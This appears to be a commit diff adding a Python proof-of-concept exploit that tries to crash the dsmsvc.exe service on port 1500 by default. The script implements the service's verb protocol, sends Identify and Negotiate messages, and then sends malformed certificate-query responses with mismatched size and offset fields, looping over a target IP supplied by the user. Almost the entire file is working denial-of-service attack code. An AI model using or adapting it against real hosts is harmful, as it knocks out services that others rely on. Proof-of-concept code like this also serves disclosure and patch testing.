|
| 1 | +import sys, argparse, struct, socket |
| 2 | + |
| 3 | +# Got it from the Internet |
| 4 | +def ordp(c): |
| 5 | + output = [] |
| 6 | + for i in c: |
| 7 | + if (i < 32) or (i >= 127): |
| 8 | + output.append('.') |
| 9 | + else: |
| 10 | + output.append(chr(i)) |
| 11 | + return ''.join(output) |
| 12 | + |
| 13 | +# Got it from the Internet |
| 14 | +def hexdump(t,p): |
| 15 | + print("---[ %s ]---" % (t)) |
| 16 | + output = [] |
| 17 | + l = len(p) |
| 18 | + i = 0 |
| 19 | + while i < l: |
| 20 | + output.append('{:04x} '.format(i)) |
| 21 | + for j in range(16): |
| 22 | + if (i + j) < l: |
| 23 | + byte = p[i + j] |
| 24 | + output.append('{:02X} '.format(byte)) |
| 25 | + else: |
| 26 | + output.append(' ') |
| 27 | + if (j % 16) == 7: |
| 28 | + output.append(' ') |
| 29 | + output.append(' ') |
| 30 | + output.append(ordp(p[i:i + 16])) |
| 31 | + output.append('\n') |
| 32 | + i += 16 |
| 33 | + print(''.join(output)) |
| 34 | + |
| 35 | + |
| 36 | +def send_verb(s, type, data): |
| 37 | + dlen = len(data) |
| 38 | + if type < 0x100: |
| 39 | + header = struct.pack('>HBB', dlen + 4, type, 0xA5) |
| 40 | + else: |
| 41 | + header = struct.pack('>HBBLL', 0, 8, 0xA5, type, dlen + 12) |
| 42 | + |
| 43 | + #hexdump('verb 0x%X req' % (type), header + data) |
| 44 | + s.sendall(header + data) |
| 45 | + |
| 46 | +def recv_verb(s): |
| 47 | + hdr1 = s.recv(4) |
| 48 | + (verbLen, verbType, magic) = struct.unpack('>HBB', hdr1) |
| 49 | + if magic != 0xA5: |
| 50 | + raise ValueError('Magic in header is not 0xA5') |
| 51 | + |
| 52 | + hdrLen = 4 |
| 53 | + if verbType == 8: |
| 54 | + hdr2 = s.recv(8) |
| 55 | + (verbType, verbLen) = struct.unpack('>LL', hdr2) |
| 56 | + hdrLen = 12 |
| 57 | + else: |
| 58 | + hdr2 = b'' |
| 59 | + |
| 60 | + if verbLen < hdrLen: |
| 61 | + raise ValueError('Invalid verbLen %d ' % (verbLen)) |
| 62 | + bodyLen = verbLen - hdrLen |
| 63 | + |
| 64 | + if bodyLen > 0: |
| 65 | + data = s.recv(bodyLen) |
| 66 | + else: |
| 67 | + data = b'' |
| 68 | + |
| 69 | + #hexdump('verb 0x%X res' % (verbType), hdr1 + hdr2 + data) |
| 70 | + return {'verbType':verbType, 'verbData': data} |
| 71 | + |
| 72 | +# |
| 73 | +# MAIN |
| 74 | +# |
| 75 | +desc = 'This PoC attempts to terminate dsmsvc.exe.' |
| 76 | + |
| 77 | +arg_parser = argparse.ArgumentParser(desc) |
| 78 | +arg_parser.add_argument('-t', required=True, help='Target IP (Required)') |
| 79 | +arg_parser.add_argument('-p', type=int, default=1500, help='dsmsvc.exe port, default: %(default)s') |
| 80 | + |
| 81 | +args = arg_parser.parse_args() |
| 82 | +host = args.t |
| 83 | +port = args.p |
| 84 | + |
| 85 | +id = b'A' * 0x10 |
| 86 | +supportedMethods = 0x8000000 |
| 87 | +idType = 4 |
| 88 | +sessType = 0xe |
| 89 | +sslMode = 2 |
| 90 | + |
| 91 | +negotiate = struct.pack('B', 1) |
| 92 | +negotiate += struct.pack('>H', 0x1b) |
| 93 | +negotiate += struct.pack('>L', supportedMethods) |
| 94 | +negotiate += struct.pack('>H', sslMode) |
| 95 | +negotiate += struct.pack('>H',0) |
| 96 | +negotiate += struct.pack('>H',len(id)) |
| 97 | +negotiate += struct.pack('B', idType) |
| 98 | +negotiate += struct.pack('B', sessType) |
| 99 | +negotiate += id |
| 100 | + |
| 101 | +conns = 0; |
| 102 | +for i in range(1000): |
| 103 | + for certSize in range(0x200, 0x10000, 0x100): |
| 104 | + for certOffset in range(0x1000, 0x10000, 0x1000): |
| 105 | + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
| 106 | + s.connect((host, port)) |
| 107 | + |
| 108 | + # Send Identify |
| 109 | + send_verb(s,0x1D, b'') |
| 110 | + r = recv_verb(s) |
| 111 | + if r['verbType'] != 0x1E: |
| 112 | + print('Received verb not IdentifyResp') |
| 113 | + s.close() |
| 114 | + sys.exit(1) |
| 115 | + |
| 116 | + # Send Negotiate |
| 117 | + send_verb(s, 0x3E0000, negotiate) |
| 118 | + r = recv_verb(s) |
| 119 | + if r['verbType'] != 0x3E0010: |
| 120 | + print('Received verb not NegotiateResp') |
| 121 | + s.close() |
| 122 | + sys.exit(1) |
| 123 | + |
| 124 | + # Send CertQryResp |
| 125 | + conns = conns + 1 |
| 126 | + print('connection %08d: certSize %08x, certOffset %08x' % (conns, certSize, certOffset)) |
| 127 | + |
| 128 | + cert = b'C' * certSize |
| 129 | + CertQryResp = struct.pack('B', 1) |
| 130 | + CertQryResp += struct.pack('>H', 0x17 + certSize - 1) # dataOffset |
| 131 | + CertQryResp += struct.pack('>H', 0) # opRC |
| 132 | + CertQryResp += struct.pack('>H', 1) # certFormat |
| 133 | + CertQryResp += struct.pack('>H', certOffset) # certOffset |
| 134 | + CertQryResp += struct.pack('>H', 0xffff) # certLength |
| 135 | + CertQryResp += cert |
| 136 | + |
| 137 | + send_verb(s, 0x31900, CertQryResp) |
| 138 | + s.close() |
| 139 | + |
0 commit comments